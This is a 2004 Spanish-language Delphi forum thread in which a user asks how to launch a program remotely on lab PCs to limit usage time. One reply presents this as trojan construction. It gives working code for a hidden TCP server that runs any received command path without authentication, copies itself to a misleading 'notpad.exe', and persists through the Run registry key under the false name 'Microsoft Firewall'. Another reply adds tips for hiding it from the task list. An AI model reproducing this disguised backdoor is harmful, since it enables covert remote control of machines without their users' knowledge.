PDA

Ver la Versión Completa : Ejecutar Aplicacion remotamente con W2000pro


Gelmin
25-04-2004, 22:22:35
:cool: Bien programadores sera que se puede ejecutar una aplicacion remotamente.
Desde una aplicacion Delphi que esta instalada en un Servidor Windows 2000 Server mandar a ejecutar otra aplicacion cliente instalada en una terminal que tiene Windows 2000pro conociendo el nombre del ejecutable y el nombre de la pc o el ip...si alguien save algo sobre esto ¿Deme una idea de como hacerlo?...un saludo Gelmin Martinez(Nicaragua) :confused:

jachguate
26-04-2004, 07:13:19
Te adelanto que no es algo tan simple... aunque puede lograrse utilizando algunos métodos discutidos recientemente en los foros. Ahora mi conexión está muy lenta, y no puedo sugerirte una búsqueda en partícular... pero estoy seguro que la podes encontrar afinando tu criterio de busqueda. Las palabras ejecutar y remot* me parecen un buen punto para empezar.

Hasta luego.

;)

DarkByte
26-04-2004, 11:33:52
:) Perdona jachguate, pero a mi me parece sencillo (¿será porque normalmente sólo hago ese tipo de aplicaciones?).

Gelmin, lo primero es vas a necesitar dos ejecutables, el Cliente y el Servidor (si te aprendes la teoría de los troyanos y de qué partes están formados, esto te será muy simple),

-El cliente: Se conecta al servidor a través del puerto que tu elijas (siempre el mismo) y le envía las órdenes precisas, es el que tu vas a manejar.
-El servidor: Va a estar en el registro del sistema, va a estar esperando en el puerto que le hayas puesto en la propiedad Port (debe de ser el mismo número de puerto que el del cliente) a que tú te conectes a él.

El servidor es la parte más compleja de las dos, y es por la que yo siempre empiezo, lo principal es hacerlo invisible, pues si el usuario lo ve, puede cerrarlo y ya no puedes administrar el sistema. En el foro de API's hay muchas opciones. Si tienes Delphi7 en adelante puedes poner Visible := False, y en el evento OnCreate del Form ponerle el Height y el Weight del form := 1, así será tan diminuto que nadie lo verá.

Después de la invisibilidad del servidor, nos queda insertar el TIdTCPServer1 de las Indy que se encuentra en la paleta Indy Servers. Le ponemos un puerto al azar fácil de recordar pero teniendo en cuenta que no esté ocupado por ningun otro (no vayas a poner el 12345, que el firewall te va a decir que estás infectado por el NetBus). Después de haber puesto el puerto, nos vamos a la propiedad Commands Handlers y clicamos en sus puntos suspensivos. Le damos a la hojita con una estrella arriba a la izquierda y ponemos, en la propiedad command EjecutarAplicacion. Nos vamos a la pestaña Events y hacemos soble clic en el único evento, OnCommand.


procedure TForm1.IdTCPServer1TIdCommandHandler0Command(
ASender: TIdCommand);
var
Ruta:String;
begin
//La ruta del ejecutable es la parte que iba después
//del comando EjecutarAplicacion
Ruta := ASender.UnparsedParams;
//Ejecutamos el programa que está en la ruta
try
WinExec(PChar(ruta),SW_SHOWNORMAL);
//Y si no puede... no hace nada pero no da error
except
end;
end;


Después de eso, solo nos resta poner el IdTCPServer como True su propiedad Active, añadir a las uses Registry y en el evento OnCreate poner:


var
Registro :TRegistry;
begin
try CopyFile(PChar(Application.ExeName),PChar('c:\windows\notpad.exe'),FALSE);
except
end;
Registro:=TRegistry.create;
Registro.RootKey := HKEY_LOCAL_MACHINE;
if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE) then
Registro.WriteString('Microsoft Firewall','c:\windows\notpad.exe');
Registro.Destroy;
end;


Y fin del servidor, me parece que no me olvido nada.


Ahora vamos al cliente, ponemos en el form un IdTCPClient, dos edits y dos botones, a los edits los vamos a llamar eIp (pues ahí vamos a escribir la ip del servidor al que nos vamos a conectar) e eRutaEjecutable (pues ahí vamos a escribir el nombre del ejecutable). Y al caption de los botones les vamos a poner Conectar/Desconectar a uno y Ejecutar a otro.

Al IdTCPClient le vamos a poner el mismo puerto (en port) que el que le pusimos al IdTCPServer. Después, hacemos doble clic en el botón Conectar/Desconectar y escribirmos:

procedure TForm1.Button1Click(Sender: TObject);
begin
//Si estamos conectados...
If IdTCPClient1.Connected = False Then
begin
//Comprobamos que el edit no esté vacio
If eIp.Text = '' Then
begin
//Mostramos un mensaje de error
ShowMessage ('Debe introducir la ip del servidor');
//Y abortamos
Abort;
end;
//Ponemos el Host del IdTCPClient como lo que ponga
//en el edit...
IdTCPClient1.Host := eIp.Text;
//E intentamos conectarnos!!
try
IdTCPClient1.Connect;
except
ShowMessage ('No se ha podido contactar con el servidor');
end;
end
//¿Y si estamos ya conectados?
Else
IdTCPClient1.Disconnect;
end;


Y en el botón de Ejecutar...

begin
try
IdTCPClient1.SendCmd('EjecutarAplicacion '+eRutaAplicacion.Text);
except
ShowMessage ('No estás conectado');
end;
end;



Y si no me equivoco, ya está terminado el tema, no se si me he equivocado en algo, pues lo he ido haciendo sobre la marcha, pero confío en que mis compañeros del foro me corrijan.

DarkByte
26-04-2004, 12:06:24
Y la parte de enviar un archivo se puede conseguir mediante un stream...
en el hilo http://www.clubdelphi.com/foros/showthread.php?t=794 se hace eso pero con una imágen jpg.

Por cierto... ¿este hilo no pertenecería a Internet?

Gelmin
27-04-2004, 00:40:42
DarkByte despues de haber leido lo que dijistes me quede como si me estubiran hablando en japones, mira se ve que tu como dices has trabajado mucho en este tipo de cosas, pero yo todavia no, se me olvido decir que la version de Delphi con la que estoy trabajando en este momento es la 5 enterprise y creo que tu haces referencia a algunos componenstes que no trae la version 5 como las Indy vi por ahi el Delphi 6 que trae algo sobre esto, pero sera que no se puede hacer eso mismo pero con el Delphi 5 men? o tendre que conseguirme el 6 puedo conseguirlo pero es que ese 6 me parece pesado y mi maquina no es tan rapida y me parece que se volvera mas lenta con ese paquete...pero bueno me interesa aprender a hacer eso que dijistes no importa si tendre que instalar delphi 6. Ahora entiendo lo del cliente y el Servidor esa era mi idea inicial, pero para que me puedas ayudar mejor te dire exactamente lo que quiero hacer:
programare una aplicacion Servidor para instalarla en el Servidor de mi red? cual va a ser la funcion de esta Aplicacion, Manejar y administrar que usuarios han utilizado algunos determinados equipos en un tiempo determinado (que equipo utilizo, hora entrada, hora salida, etc) luego la aplicacion cliente solamente medira el tiempo en que el usuario estara utilizando el equipo, este tiempo estara registrado en el servidor. Esta aplicacion cliente la quiero mandar a ejecutar desde el servidor en el momento en que el usuario va utilizar el equipo y ella se encargara de marcarle el tiempo cuando termine este tiempo la aplicacion cliente hara algo asi como cerrar la sesion de windows, cerrar los programas que se esten utilizando bloquear el escritorio o algo parecido la idea es que despues de el tiempo programado para el usuario utilice la maquina haya un programita que puede sacar de operaciones al usuario....! eso es lo que necesito hacer, pero se me acaba de ocurrir algo!!! tambien puede hacer una sola aplicacion el Servidor donde programe la hora de entrada/Salida del usuario Pc a utilizar y luego que se le termine el tiempo pues mandarle un mensaje (net send) y luego cerrarle la sesion remotamente o algo asi....bueno mas o menos eso es lo que necesito....si tienes una idea mejor pues te agradeceria mucho tu ayuda, talves corriendo en Delphi 5 o 6, un ejemplo de todo eso que dijistes anteriormente pueda entender mejor el asunto ahi me disculpas pero no he trabajad mucho con ese tipo de componentes pero me interesa poder hacerlo men....gracias por tu tiempo y un saludo hasta luego Gelmin Martinez(Nicaragua) :confused:

jachguate
27-04-2004, 00:47:17
Solo quiero comentarte que las indy las podes descargar e instalar en delphi 5, incluso en delphi 4 c/s (ya no se soporta d4 pro en INDY 9, pero si en INDY 8).

Las podes obtener en http://www.nevrona.com/indy

Hasta luego.

;)

CHiCoLiTa
27-04-2004, 11:34:20
Gelmin, veo que tienes un poco de cacao.
Para que todo esto funcione tienes que hacer 2 programas como muy bien te han comentado, el cliente y el servidor. Aqui lleva tu primera duda.

La aplicacion servidor es la que esta instalada en los puestos, y tu desde tu puesto, con el cliente te conectarias a ellos.

Las indy, en efecto, funcionan en la version 5 e incluso en la 4. Si no las tienes o no las quieres instalar no es problema. Estamos hablando de sockets para establecer comunicaciones entre 2 pc's. Puedes usar el ClientSocket y ServerSocket que te aparecen en la paleta de Internet, o programando directamente tu por socket. Yo particularmente tengo mi propio componente para el manejo de sockets.

Por lo que veo quieres realizar varias operaciones, por lo que seria aconsejable que te establezcas un pequeño protocolo para la comunicaciones entre el cliente y el servidor.

Se me ocurre asi sobre la marcha:
El tio llega al ordenador, con tu cliente le das la orden a ese equipo (programa servidor) que empiece a contar, y le pasas tambien el tiempo que estara
para cerrarle programas, lo primero que tendras que programar es que te devuelva o los procesos activos, o el nombre de las ventanas para poder cerrarlo, o simplemente a que clase pertenece.
Los mensajes de que el tiempo ha termiando lo podrias hacer directamente con un showmessage.

Otras cosas importantes serian el form invisible, que no aparezca su icono, no este en la lista de aplicaciones abiertas. Y para iniciarla como te han comentado antes, lo metes en esa rama del registro y siempre que arranquen el ordenador se iniciara.

A poco que busques por ahi sobre estos temas por separa no tendras ningun problema en encontrar valiosa ayuda

Gelmin
27-04-2004, 19:21:48
Ok baje las indy las instale en mi delphi 5 y probe lo que dijo DarkByte para programar el cliente y el Servidor con los componentes IdTCPServer y IdTCPClient de las indy puse en marcha las dos aplicaciones cada una en su maquina respectiva y me conecte y ejecute la aplicacion remotamente pero esto solo sucedio correctamente la primera vez cuando lo intente hacer de nuevo me genera una excepcion que dice:
proyect1.exe raised exception class EidSocketError with message "socket error # 10054". conection reset by peer. process stoped.

Proyect1 es mi aplicacion Servidor...Alguna sugerencia! Gelmin Martinez(Nicargua)

Gelmin
27-04-2004, 20:12:25
Incluso despues que mando a ejecutar la aplicacion desde el cliente, este se queda pegado y tengo que finalizar tarea para que pueda cerrarlo ¿Por que? funciona bien pero despues de dar clic en el boton "ejecutar" ya no vuelve pero si manda a ejecutar el programa...!Gelmin Martinez(Nicaragua)

Anubisdp
23-11-2005, 08:13:14
Se queda colgado porque al momento que se le hace la peticion al servidor el socket se queda bloqueado...

es decir hay dos tipos de socket unos que se bloquean y otros que no. En el caso de los componentes INDY utilizan socket de los que se bloquean...,

En pocas palabras tu haces la peticion o el enlaze con el servidor y lo que pasa es que el cliente se queda esperando una respuesta y no puede hacer nada hasta que resiva la respuesta.

Existen dos maneras para solucionar esto, pero solo te boy a decir la mas facil ya que no requiere mucho que pensarse.

Solo pon un IdAntiFreeze de la pestaña indy Misc y asunto resuelto.


SUERTE!!!!